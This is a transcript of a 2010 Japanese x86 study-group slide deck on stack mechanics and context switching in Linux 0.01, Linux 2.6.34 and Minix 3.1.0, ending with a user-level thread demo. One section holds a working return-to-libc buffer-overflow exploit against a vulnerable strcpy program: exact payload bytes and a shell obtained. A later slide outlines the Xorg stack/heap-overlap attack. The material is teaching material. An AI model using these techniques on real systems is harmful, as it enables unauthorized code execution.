x86とコンテキストスイッチ
DESCRIPTION
第1回 x86勉強会の発表資料TRANSCRIPT
x86 とコンテキストスイッチX86 勉強会 2010/08/21
@masami256
自己紹介
・ Linux 好き
- Fedora の Proven testers グループのメンバー
- Fedora のテストを色々とやってます
- 昔は Debian でパッケージのメンテしたり
・自作カーネルは一応経験済み
はじめに
• 特に明記しない限り、 x86_32 のプロテクトモードで、呼出規約は cdecl です
[masami@ftest x86]$ uname -aLinux ftest 2.6.33.6-147.fc13.i686 #1 SMP Tue Jul 6 22:30:55 UTC 2010 i686 i686 i386 GNU/Linux[masami@ftest x86]$ gcc -vUsing built-in specs.Target: i686-redhat-linuxコンフィグオプション : ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c++,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with-tune=generic --with-arch=i686 --build=i686-redhat-linuxスレッドモデル : posixgcc version 4.4.4 20100630 (Red Hat 4.4.4-10) (GCC)
Agenda
Stack の命令
Stack
Stack のまとめ
Stack の命令
Context Switch
Linuxv0.01
Linuxv2.6.34
Minuxv3.1.0
Todo Doing Done
スレッド
Agenda
Stack の命令
Stack
Stack のまとめ
Stack の命令
Context Switch
Linuxv0.01
Linuxv2.6.34
Minuxv3.1.0
Todo Doing Done
スレッド
x86 の命令実行での主な登場人物
• stack• eip• ebp• esp• call• ret• Task State Segment(TSS)
Stack
• SS レジスタが指すセグメントの領域– スタックが絡む命令では CPU が自動的に参照
• フラットメモリモデルの場合–リニアアドレス空間にスタックを設定可– 領域の大きさは、セグメント次第
• アクセスには esp 、 ebp を使用する• 関数単位でスタックフレームに分割される• メモリの高位アドレスから低位アドレスに
向かって領域が伸びていく
esp と ebp
• esp– スタックポインタ
• スタックの末端のアドレスを指す
• ebp– スタックフレームのベースポインタ– 減算することで、ローカル変数へアクセス– 加算することで、関数の引数へアクセス
スタックフレーム - サンプルvoid test2(int a, int b){ char s[10];}
void test1(int a, int b){ int n = 10; int m = 20;
test2(n + a, m + b);}
int main(int argc, char **argv){ test1(1, 2); return 0;}
スタックフレーム
s
Saved ebp
Ret address
a
b
n
m
Saved ebp
Ret address
a
b
Saved ebp
main() のスタックフレーム
test1() のスタックフレーム
test2() のスタックフレーム
esp
test1() で引数の n と m にするには、このようになるmovl %eax, 8(%ebp) <- a にアクセスmovl %edx, 12(%ebp) <- b にアクセス
ローカル変数の場合は、movl -4(%ebp), %eax <- m にアクセスmovl -8(%ebp), %edx <- n にアクセス
高位アドレス
低位アドレス
test1() 実行時のスタックフレーム(gdb) x/x $ebp + 00xbffff708: 0xbffff718(gdb) x/x $ebp + 40xbffff70c: 0x080483e9(gdb) x/x $ebp + 80xbffff710: 0x00000001(gdb) x/x $ebp + 120xbffff714: 0x00000002(gdb) x/x $ebp - 40xbffff704: 0x00000014(gdb) x/x $ebp - 80xbffff700: 0x0000000a(gdb) x/20x $esp0xbffff6f0: 0x005531e0 0x08048215 0x00555ce0 0x00554ff40xbffff700: 0x0000000a 0x00000014 0xbffff718 0x080483e90xbffff710: 0x00000001 0x00000002 0xbffff798 0x003e3cc60xbffff720: 0x00000001 0xbffff7c4 0xbffff7cc 0xb7fff3d0
Agenda
Stack
Stack のまとめ
Stack の命令
Context Switch
Linuxv0.01
Linuxv2.6.34
Minuxv3.1.0
Todo Doing Done
スレッド
Stack 操作の命令
• Push• Pop• Call• Ret• Enter• Leave
Stack 操作の命令 - Push/Pop
void push_pop(void){ int n = 0x20;
printf("before: n is 0x%x\n", n);
asm volatile("push $0x10;\n\t" "pop % [output];\n\t" :[output] "=g"(n));
printf("after: n is 0x%x\n", n);}
$ ./a.outbefore: n is 0x20after: n is 0x10
Stack 操作の命令 - Call/Ret
void call001(void){ printf("call001-1\n"); asm ("pop %ebp;\n\t" "ret;\n\t"); printf("call001-2\n");}
void call_ret(void){ asm ("call call001;\n\t");}
$ ./a.outcall001-1
call と ret 命令では、 cpu がリターンアドレスをスタック [ に積む / から取得 ]するので、使用時にこの辺は気にしなくてもよい仕様になってます。
Stack 操作の命令 - Enter/Leave
.globl enter_leave/* int enter_leave(void) */enter_leave:/* Reserve 16 bytes stack frame */enter $0x10, $0 movl $0x20, -4(%ebp)/* %eax is return value */movl -4(%ebp), %eax/* Clear the stack frame */ leave ret
/* 呼び出し */printf("ret is %d\n",enter_leave());
$ ./a.outret is 32
enter 命令の実行内容は、以下の内容とほぼ等価ですpushl %ebpmovl %esp, %ebpsubl $16, %esp
eip
• 次に実行する命令のアドレスが入る• eip を直接弄ることはありません• mov $0x10, %eip とかはできません• call 、 ret や jmp 命令など実行すると
cpu が適切な値を eip にセット• eip はスタックに積まれるので、制御を
自分で変更したい場合はこちらを弄ります
制御を自分で変える
void hello2(void){ cout << __FUNCTION__ << endl; exit(0);}extern "C" __attribute__((fastcall)) int hello(int a, int b){ cout << a << ":" << b << endl; return 0;}int main(int argc, char **argv){ int a = 10, b = 20; unsigned long addr = (unsigned long) &hello2;
__asm__ __volatile__("push %[ret_ip]\n\t" "jmp hello;\n\t" :: [ret_ip] "g" (addr), [arg_a] "c"(a), [arg_b] "d"(b));
return 0;}
$ ./a.out10:20hello2
Agenda
StackStack のまとめ
Stack の命令
Context Switch
Linuxv0.01
Linuxv2.6.34
Minuxv3.1.0
Todo Doing Done
スレッド
ここまでのまとめvoid test(char *p){ char buf[64];
strcpy(buf, p);}
int main(int argc, char **argv){ test(argv[1]);
printf("ok\n"); return 0;}
main()->test()->system()->exit()
の流れで遊んでみる
system() に渡す引数の準備
bt test$ BINSH=/bin/sh ; export BINSHbt test $ echo $BINSH/bin/shbt test $ ./getenv environment[BINSH] is in 0xbfffff15
メモリレイアウト
0xbfffff15
0xb7ece3a0
0xb7ed86e0
B*4
A*72
オーバーフロー用のゴミデータBBBB で ebp が上書きされる
system() のアドレス
exit() のアドレス
system() に渡す引数のアドレス
高位アドレス
低位アドレス
実行してみる
bt test $ ltrace ./vuln `python -c 'print "A"*72 + "BBBB" + "\xe0\x86\xed\xb7" + "\xa0\xe3\xec\xb7" + "\x15\xff\xff\xbf"'`__libc_start_main(0x80483ee, 2, 0xbffff614, 0x8048440, 0x80484a0 <unfinished ...>strcpy(0xbffff510, 0xbffff74c, 0, 0xbffff554, 0x6f6e2800) = 0xbffff510sh-3.1$ iduid=1001(cola) gid=100(users) groups=100(users)sh-3.1$ exitexit--- SIGCHLD (Child exited) ---+++ exited (status 0) +++bt test $
Agenda
Stack
Stack のまとめ
Stack の命令
Context Switch
Linuxv0.01
Linuxv2.6.34
Minuxv3.1.0
Todo Doing Done
スレッド
Context Switching
• Hardware Context Switching–X86 のタスク切り替え機能を利用–Linux の v0.01 はこちら
• Software Context Switching–自分でタスクを切り替える
• 一部で cpu の機能を使う必要がある
–今時のカーネルは普通こちら
TSS
• Hardware/Software コンテキストスイッチどちらでも利用する– Hardware コンテキストスイッチは TSS 必須– Sfowtware コンテキストスイッチでは所用によ
り使う• 各種レジスタ、セグメントなどの情報、 IO 許可
マップなどの情報を保存する領域
Hardware Context Switching
• CPU によるサポート– FPU 、 MMX 、 SSE の切り替えは未サポート– GDT に TSS を置くので、タスク数は 8190 個
が最大• あまり使われていない
– モダンな OS で使われてるケースってあるのでしょうか?
• Why?– 遅い(らしい)– http://wiki.osdev.org/Context_Switching
Hardware Context Switching の処理
• TSS を作り GDT に置く– TSS はプロセス毎
• ltr 命令で TSS をセットする– 1 つ目の TSS だけで OK
• プロセスの切り替えは、 JMP/CALL 命令で実施– 各レジスタのセーブ・リストアに関しては
CPU がやってくれる– FPU などは除く
Software Context Switching
• X86 の機能をフル活用しない–TSS の esp0 や IOBP などは利用しま
す• タスク数の制限はない
–プロセス単位に TSS ディスクリプタが不要
Software Context Switching の処理
• TSS を作り GDT に置く– Linux の場合、 TSS は cpu 毎
• ltr 命令で TSS をセットする– 1 つ目の TSS だけで OK
• プロセスの切り替えはスタックの切り替えで実施– スタックを次のプロセスのものに切り替えて
るのと、関数から戻るときにスタックに積まれている eip を利用して切り替えを実施
– FPU などは自分で切り替える
Agenda
Stack
Stack のまとめ
Stack の命令
Context Switch
Linuxv0.01
Linuxv2.6.34
Minuxv3.1.0
Todo Doing Done
スレッド
Linux v0.01 の場合
Linux v0.01 - sched_initkernel/sched.c231void sched_init(void)232{233 int i;234 struct desc_struct * p;235236 set_tss_desc(gdt+FIRST_TSS_ENTRY,&(init_task.task.tss));237 set_ldt_desc(gdt+FIRST_LDT_ENTRY,&(init_task.task.ldt));snip246 ltr(0);snip254}
include/linux/sched.h154#define ltr(n) __asm__("ltr %%ax"::"a" (_TSS(n))
TSS ディスクリプタを GDT にセット* fork() 時は新プロセス用に作った TSSディスクリプタをセットします
ltr 命令で TSS をセットします。
Linux v0.01 - copy_process()kernel/fork.c 61int copy_process(int nr,long ebp,long edi,long esi,long gs,long none,64 long eip,long cs,long eflags,long esp,long ss)65{snip70 p = (struct task_struct *) get_free_page();71 if (!p)72 return -EAGAIN;73 *p = *current; /* NOTE! this doesn't copy the supervisor stack */74 p->state = TASK_RUNNING;75 p->pid = last_pid;snip118 set_tss_desc(gdt+(nr<<1)+FIRST_TSS_ENTRY,&(p->tss));119 set_ldt_desc(gdt+(nr<<1)+FIRST_LDT_ENTRY,&(p->ldt));120 task[nr] = p; /* do this last, just in case */121 return last_pid;
70 行目以降で作った新しいプロセスのディスクリプタを設定
Linux v0.01 - switch_to()include/linux/sched.h168#define switch_to(n) {\ 169struct {long a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \
__tmp.b に gdt に設定されている次のプロセスの TSS セレクタ値を代入
Linux v0.01 - switch_to()include/linux/sched.h168#define switch_to(n) {\ 169struct {long a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \
カレントプロセスと次のプロセスが同一ならなにもしない
Linux v0.01 - switch_to()include/linux/sched.h168#define switch_to(n) {\ 169struct {long a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \
セグメント間ジャンプでプロセス切り替え実行
Linux v0.01 - switch_to()include/linux/sched.h168#define switch_to(n) {\ 169struct {long a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \
最後に FPU レジスタを使ったプロセスと切り替え後のプロセスを比較して同じだったら、 clts 命令を実行い CR0 レジスタの TS フラグをリセットする
clts 命令と TS フラグ
• CR0 レジスタの TS フラグをクリアする命令• TS は Task Switch の略• TS フラグはハードウェアコンテキストスイッチ
発生時に CPU によりセットされる• このフラグが立っているときに、浮動小数点命
令を使用すると例外( Device not available) が発生する
• この仕組みを利用して、 FPU レジスタの退避を遅延させることができる
Agenda
Stack
Stack のまとめ
Stack の命令
Context Switch
Linuxv0.01
Linuxv2.6.34
Minuxv3.1.0
Todo Doing Done
スレッド
Linux v2.6.34 の場合
Linux 2.6.34 の Context Switch
• switch_to マクロ–arch/x86/include/asm/system.h
• __switch_to()–arch/x86/kernel/process_32.c
switch_to - 概要
arch/x86/include/asm/system.h44/*45 * Saving eflags is important. It switches not only IOPL between tasks,46 * it also protects other tasks from NT leaking through sysenter etc.47 */48#define switch_to(prev, next, last) \
このマクロはカレントプロセスの eip 、 esp 、 ebp の保存と、次のプロセスのために eip 、 esp 、 ebp の設定、 __switch_to()の呼出をします。 __switch_to() から戻った時点で、プロセスが切り替わっています。
switch_to - 実行部分
57 unsigned long ebx, ecx, edx, esi, edi; \58 \59 asm volatile("pushfl\n\t" /* save flags */ \60 "pushl %%ebp\n\t" /* save EBP */ \61 "movl %%esp,%[prev_sp]\n\t" /* save ESP */ \62 "movl %[next_sp],%%esp\n\t" /* restore ESP */ \63 "movl $1f,%[prev_ip]\n\t" /* save EIP */ \64 "pushl %[next_ip]\n\t" /* restore EIP */ \65 __switch_canary \66 "jmp __switch_to\n" /* regparm call */ \67 "1:\t" \68 "popl %%ebp\n\t" /* restore EBP */ \69 "popfl\n" /* restore flags */ \
__switch_to() の主な処理
• もし Prev プロセスが FPU を使っていた場合は、 FPU レジスタを退避する
• clts 命令の実行などもある
• カーネル用のスタックを設定• TSS の sp0• Thread Local Storage へアクセス出きるよう
にセグメントを設定 • I/O ポートへのアクセス権の設定
プロセス切替の完了
__switch_to() から戻る場所は、 67 行目にセットされているので、 ebp と、 eflags をリストアすることで switch_to() の処理は終了し、 Next プロセスの実行が始まる。
67 "1:\t" \68 "popl %%ebp\n\t" /* restore EBP */ \69 "popfl\n" /* restore flags */ \
プロセス切替時のスタックの様子
Prev プロセスのスタック
ebp
eflags
XXX
XXX
esppushl %%ebppushfl
movl %[next_sp],%%esp
Next プロセスの スタック
Ret Address
XXX
XXX
pushl %[next_ip]
esp
jmp 命令で __switch_to() を呼び、 __switch_to() から return するときにきに ret 命令が Next プロセスのスタックから %next_ip を読込み、指定された場所に戻る
Agenda
Stack
Stack のまとめ
Stack の命令
Context Switch
Linuxv0.01
Linuxv2.6.34
Minuxv3.1.0
Todo Doing Done
スレッド
Minix v3.1.0 の場合
Minix3.1.0 の Context Switch
●kernel/mpx386.s に実装がある●_restart() がコンテキストスイッチを実行●通常は c の関数からは呼ばれない
● 同ファイルの割り込みハンドラから実行
●例外は kernel/main.c の main() で、終了時に呼び出される
● main() の最後に _restart() を呼ぶ● スケジューラにセットされたサーバプロセス
の起動処理が走りだす
_restart - 前半
_restart:cmp (_next_ptr), 0 jz 0fmov eax, (_next_ptr)mov (_proc_ptr), eax mov (_next_ptr), 00: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax
_next_ptr は次のプロセスで、次のプロセスが無ければ、今のプロセスを継続する
_restart - 前半
_restart:cmp (_next_ptr), 0 jz 0fmov eax, (_next_ptr)mov (_proc_ptr), eax mov (_next_ptr), 00: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax
_proc_ptr に _next_ptr をセットして、 _next_ptr をNULL にする
LDT をセット
_restart - LDT の設定
先ほど出てきた P_LDT_SEL はマクロで、 proc構造体の配列 p_ldtにアクセスするために使用しています。このマクロを使用することで、 lldt 命令の引数を正しくセットできます。マクロは kernel/sconst.h にて定義。
struct proc {struct stackframe_s p_reg; /* process' registers saved in stack frame */
#if (CHIP == INTEL)reg_t p_ldt_sel; /* selector in gdt with ldt base and limit */struct segdesc_s p_ldt[2+NR_REMOTE_SEGS]; /* CS, DS and remote segments */#endif
この p_ldt にアクセスする
_restart - 前半
_restart:cmp (_next_ptr), 0 jz 0fmov eax, (_next_ptr)mov (_proc_ptr), eax mov (_next_ptr), 00: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax
TSS の sp0 をセット
Minix の TSS構造体
kernel/protect.hstruct tss_s {reg_t backlink;reg_t sp0; reg_t ss0; reg_t sp1;snip};
#define TSS3_S_SP0 4
mov (_tss+TSS3_S_SP0), eax↑の mov 命令で sp0 をセットするわけですが、その仕組みは単純で、 TSS を表す構造体 _tss の先頭からオフセットTSS3_S_SP0 バイト目にアクセスするだけです。386版の aMinix では reg_t は 4 バイトなので、先頭から 4 バイト目は sp0 となり、目的の位置にアクセスできます。
_restart - 後半
restart1:decb (_k_reenter)o16 pop gso16 pop fso16 pop eso16 pop dspopadadd esp, 4 iretd
_restart() 内では使用しないラベル
カーネルのリエントラント用のカウンタをデクリメント
iretd で抜けて処理が完了
スタックに積まれているリターンアドレスを無視
Agenda
Stack
Stack のまとめ
Stack の命令
Context Switch
Linuxv0.01
Linuxv2.6.34
Minuxv3.1.0
Todo Doing Done
スレッド
スレッド
スタックの切り替えでスレッドを切り替えることができます
実験は x86_64 で行ってます
スレッド構造体
typedef struct _Thread {struct _Thread *next;int thread_id;unsigned long context[CONTEXT_SIZE];char *stack_top; /* NULL if this is main() thread */int status;
} Thread;
メインスレッド
void ThreadMain(int argc, char **argv){
int t1, t2;
t1 = ThreadCreate(f, 1);printf("create a new thread (i=%d) [id=%d]\n", 1, t1);t2 = ThreadCreate(f, 2);printf("create a new thread (i=%d) [id=%d]\n", 2, t2);ThreadYield();printf("main thread finished.\n");
}
スレッド生成 -前半
int ThreadCreate(ThreadProc proc, unsigned long arg){
Thread *child;unsigned long addr = (unsigned long) ThreadStart;unsigned long stack_start = 0;
child = AllocateThread();
child->stack_top = malloc(STACK_ALLOC_SIZE);memset(child->stack_top, 0, STACK_ALLOC_SIZE);
stack_start = (unsigned long) child->stack_top + STACK_SIZE;memcpy((char *) stack_start, &addr, sizeof(addr));
スレッド生成 - 後半
child->context[0] = stack_start;child->context[1] = stack_start;child->context[2] = (unsigned long) proc;child->context[3] = arg;
child->status = RUNNING;
LinkThread(child);
return child->thread_id;
}
スレッドのエントリポイント
static void ThreadStart(unsigned long proc, unsigned long arg){
ThreadProc ptr = (ThreadProc) proc;ptr(arg);ThreadExit();
}
ThreadYeild-前半
void ThreadYield(){
Thread *t;int found = 0;
for (t = threadList->next; t; t = t->next) {if (t && t->status == RUNNING && t != currentThread) {
found = 1;break;
}}
ThreadYeild- 後半
if (found) {Thread *cur = currentThread;
currentThread = t;
printf("switch id %d to %d\n", cur->thread_id, t->thread_id);_ContextSwitch(cur->context, t->context);
} else if (currentThread->thread_id == MAIN_THREAD_ID) {// main thread's state is FINISH.printf("There is only main thread\n");
} else {printf("There is no active thread\n");
}}
_ContextSwitch//void _ContextSwitch(void* old_context, void* new_context);.globl ENTRY(_ContextSwitch)ENTRY(_ContextSwitch):
movq %rdi, %rax // oldmovq %rsp, 0(%rax)movq %rbp, 8(%rax)movq %rdi, 16(%rax)movq %rsi, 24(%rax)movq %rsi, %rax // newmovq 0(%rax), %rspmovq 8(%rax), %rbpmovq 16(%rax), %rdi // arg1movq 24(%rax), %rsi // arg2ret
スレッドの実行内容
void f(int i){
int n = 0;
for (n = 0; n < 10; n++) {printf("thread(%d): %d.\n", i, n);ThreadYield();
}
printf("thread (i=%d) finished.\n", i);}
実行結果
[masami@moon]~/experiment/thread% ./test1 create a new thread (i=1) [id=1]create a new thread (i=2) [id=2]switch id 0 to 2thread(2): 0.switch id 2 to 1thread(1): 0.switch id 1 to 2~switch id 1 to 2thread (i=2) finished.switch id -1 to 1thread (i=1) finished.switch id -1 to 0main thread finished.
まとめ
• プロセスの切り替えは、スタックとスタック操作のメカニズムが主要な鍵になってます
• スタック周りの説明はバッファオーバーフローなどのテクニックを紹介している本が結構詳しいです
• 大概は x86 で説明しているのと、 exploit コードの説明ではスタックの知識が必要なので…
追加スライド
• Linux カーネルの脆弱性のレポート– Exploiting large memory management
vulnerabilities in Xorg server running on Linux
• スタック &ヒープ領域に絡んだ話です– デフォルトインストールの Fedora 13 で再現• F13 は selinux有効、 exec-shiled パッ
チ有りがデフォルトです
概要
●スタックとヒープを大量に使った場合の問題● スタックとヒープが重なったら危険!
●Xorg の MIT-SHM という拡張機能を使っていると exploit の効果が抜群
● この拡張を無効にすれば exploit の信頼性が落ちるけど、 Xorg の機能性も落ちる
シナリオ
●X サーバに大量のメモリを確保させる● x86_32 では実行する必要なし
●共有メモリ S を限界まで確保させる●関数 F の再帰呼び出しを繰り返し実行させる●S の領域に 0 以外のデータが入っている場所
を探す● スタックフレームとヒープが重なった!
シナリオ
●プロセス W を立ち上げて、 S 内のデータをpayload で書き換える●F が関数から戻るときはスタックからリターンアドレスを取得する
● この時に payload を読み込んだらゲームオーバー
● W による書き換えと、 F がリターンアドレスを取得するタイミングでレースがある
● でも、ほとんどの SMP システムでは上手くできる
ご清聴ありがとうございました
リファレンス
• Insecure Programming by example– http://community.corest.com/~gera/InsecureProgramming/
• OSDev.org– http://wiki.osdev.org/Main_Page
• Hacking: 美しき策謀 —脆弱性攻撃の理論と実際 – http://www.amazon.co.jp/dp/4873112303
• xorg-large-memory-attack.pdf– http://www.invisiblethingslab.com/resources/misc-
2010/xorg-large-memory-attacks.pdf